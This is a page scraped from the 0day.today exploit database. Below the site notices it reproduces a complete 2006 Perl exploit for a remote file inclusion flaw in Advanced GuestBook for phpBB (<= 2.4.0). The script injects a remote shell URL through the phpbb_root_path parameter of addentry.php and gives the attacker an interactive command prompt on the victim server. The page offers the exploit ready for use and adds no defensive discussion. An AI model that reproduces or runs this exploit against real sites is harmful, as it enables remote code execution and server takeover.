0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Advanced GuestBook <= 2.4.0 (phpBB) Remote File Inclusion Exploit
================================================================= Advanced GuestBook <= 2.4.0 (phpBB) Remote File Inclusion Exploit ================================================================= #!usr/bin/perl use LWP::UserAgent; # Bug Found by [Oo] # Exploit coded by n0m3rcy # Copyright (c) 2006 # Gr33tz; nukedx , Devil-00 , str0ke , cijfer # Usage; n0ag.pl <target> <cmd shell location> <cmd shell variable> if (@ARGV ne 3) { &usage; } else { &exploit; } sub header() { print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n"; print "+ Advanced GuestBook for phpBB <= 2.4.0 Remote File Inclusion Exploit +\r\n"; print "+ Bug found by [Oo] +\r\n"; print "+ Copyright (c) 2006 n0m3rcy@bsdmail.org +\r\n"; print "+ Gr33tz: nukedx , cijfer , str0ke , Devil-00 +\r\n"; print "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n"; } sub usage() { &header; print "- Usage: $0 <target> <cmd shell location> <cmd shell variable>\r\n"; print "- <target> -> Victim's target ex: www.victim.com/path/\r\n"; print "- <cmd shell location> -> www.milw0rm.com/shelltxt\r\n"; print "- <cmd shell variable> -> cmd\r\n"; exit(); } sub exploit () { my $tar = $ARGV[0]; my $cmdt = $ARGV[1]; my $cmdv = $ARGV[2]; while() { print "[CMD] \$"; while(<STDIN>) { $cmd=$_; chomp($cmd); my $exp = LWP::UserAgent->new() or die; my $go = HTTP::Request->new(GET =>$tar.' admin/addentry.php?phpbb_root_path='.$cmdt.'?&'.$cmdv.'='.$cmd)or die "\r\n[-] Connected fail\n"; my $rgo = $exp->request($go); my $return = $rgo->content; my $return =~ tr/[\n]/[?]/; if (!$cmd) { print "\nPlease Enter a Command\n\n"; $return =""; } elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/) { print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit } elsif ($return =~/^<br.\/>.<b>Fatal.error/) { print "\nInvalid Command or No Return\n\n" } if ($return =~ /(.*)/) { my $finreturn = $1; my $finreturn=~ tr/[?]/[\n]/; print "\r\n$finreturn\n\r"; print "[+] Exploit successed\r\n"; last; } else { print "[CMD] \$"; } last; } exit; } } # 0day.today [2024-11-15] #